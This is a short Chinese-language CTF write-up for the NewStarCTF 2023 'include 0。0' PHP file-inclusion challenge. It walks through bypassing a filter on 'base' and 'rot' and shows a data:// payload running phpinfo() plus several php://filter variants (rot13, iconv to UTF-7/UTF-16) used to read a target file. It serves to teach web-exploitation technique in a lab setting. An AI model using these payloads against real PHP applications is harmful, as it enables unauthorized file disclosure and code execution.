[NewStarCTF 2023]include 0。0--详细解析-文件包含

if(isset($file) && !preg_match('/base|rot/i',$file))

要传参file,且file的值中不能有base和rot。

data伪协议可以使用:

data://text/plain,<?php phpinfo();?>

但是使用之后发现没有回显:
在这里插入图片描述
data://伪协议的使用前提是allow_url_fopen :on且allow_url_include:on
可能这两个配置被关闭了。
使用php://input伪协议也不行。
那不受这两个配置影响的伪协议还剩php://filter,这个协议的常规用法是:

php://filter/convert.base64-encode/resource=<目标文件名>

但其实还有很多种变种,比如:

php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名>  //将utf8编码转换utf16编码

我们使用变种里的第二个:
在这里插入图片描述
得到flag.

上一篇:路径处理新境界:Python `pathlib` 模块全解析-基础语法介绍